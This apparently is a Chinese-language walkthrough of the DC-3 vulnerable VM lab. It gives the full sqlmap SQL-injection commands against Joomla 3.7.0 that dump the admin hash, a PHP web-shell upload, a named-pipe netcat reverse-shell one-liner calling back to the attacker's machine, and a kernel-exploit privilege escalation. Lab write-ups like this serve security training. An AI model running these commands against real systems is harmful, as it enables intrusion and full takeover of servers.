1.靶机部署
kali安装:https://blog.youkuaiyun.com/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-3-2.zip
解压后得到一个.ova的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
导入成功,打开虚拟机,不出意外的话会报错!
解决方法:
开启靶机:
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.渗透过程
打开kali,为了便于操作,建议使用root用户登录kali。
2.1 信息收集
2.1.1 探测目标IP地址
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover
arp-scan -l
如果是真实的生产环境中,我们需要对存活的IP进行进一步的扫描和排查,最终才能确定我们要测试的目标,但本次是练习使用,我们直接可以查看靶机的Mac地址,更快的帮助我们确定靶机的IP。
确定了DC主机的IP地址为:
192.168.11.137 00:0c:29:1b:4d:2e VMware, Inc.
2.1.2 探测IP开放的端口
用nmap探测一下:
nmap -sV -p- 192.168.11.137
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
主机开启了80端口,80是http协议,我们用浏览器访问一下看看
在网站中看到这么一段话:
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. :-)
这一次,只有一面旗帜,一个入口点,没有任何线索。
要获得标志,显然必须获得根权限。
如何成为根用户取决于您自己——显然,也取决于系统。
祝你好运——我希望你喜欢这个小小的挑战。:-)
大概意思是只有一个flag,我们需要获得root权限来拿到他。
2.1.3 敏感目录扫描
敏感目录扫描有很多工具可以使用,例如:
nikto -h 192.168.11.137
或者使用使用joomscam:
joomscan --url http://192.168.11.137
2.1.4 访问管理员登录页面
2.1.5 信息收集总结:
- IP:192.168.11.137
- 开放端口:80
- CMS:Joomla 3.7.0
- 网站登录页面:http://192.168.11.137/administrator/
2.2 漏洞查找
使用searchsploit对网站CMS进行漏洞扫描:
发现Joomla 3.7.0存在sql注入漏洞。
searchsploit joomla 3.7.0
查看一下漏洞信息:
下载漏洞说明文档:
searchsploit -x php/webapps/42033.txt
查看文档:
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
2.3 漏洞利用-SQL注入
使用sqlmap自动注入工具:
sqlmap -u "http://192.168.11.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆出5个数据库
注入查询当前靶机正在使用的数据库:
sqlmap -u "http://192.168.11.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
注入查询joomladb数据库有哪些表,筛选出用户表:#__users 注意:找敏感单词:
sqlmap -u "http://192.168.11.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D “joomladb” --tables -p list[fullordering]
注入查询#__users表有哪些列:
sqlmap -u "http://192.168.11.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]
有选项可选 y - y - 输入1 - 输入10
Sql注入查询#__users表的name、password字段,输出信息:
sqlmap -u "http://192.168.11.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “name,password” --dump -p list[fullordering]
2.4 破解密码
我们通过注入得到的用户名和密码:
用户名:admin
密 码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将密码保存在一个文档里面,使用joho进行解密:
2.5登录网站
2.6 查找网站漏洞
在登录后台之后得想办法找到文件上传点、文件包含点…来拿到webshell,经过寻找可以发现在Templates(模板)的Templates里可以自己创建php文件。
2.7 上传一句话木马
2.8 使用蚁剑连接
2.9 反弹shell
kali设置监听:
在蚁剑中打开终端,使用nc连接:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.128 4444 >/tmp/f
然后kali端可以看到反弹成功!!!
2.10 提权
生成可交互式shell:
python -c “import pty;pty.spawn(‘/bin/bash’);”
查看内核版本信息:
cat /proc/version
查找ubuntu 16.04的漏洞:
发现一个“拒绝服务漏洞”,可以用来提权
查看漏洞介绍:
提示需要上传这个文件:
下载文件:
这里要是下载慢的话可以利用主机下载好,然后解压,将里面的提权文件上传到靶机即可
这里可能存在无法下载的情况,如果提示无法写入就进入tmp文件夹,然后使用wget下载:
解压文件:
进入文件夹:
./compile.sh #执行脚本,编译文件
./doubleput #执行提权文件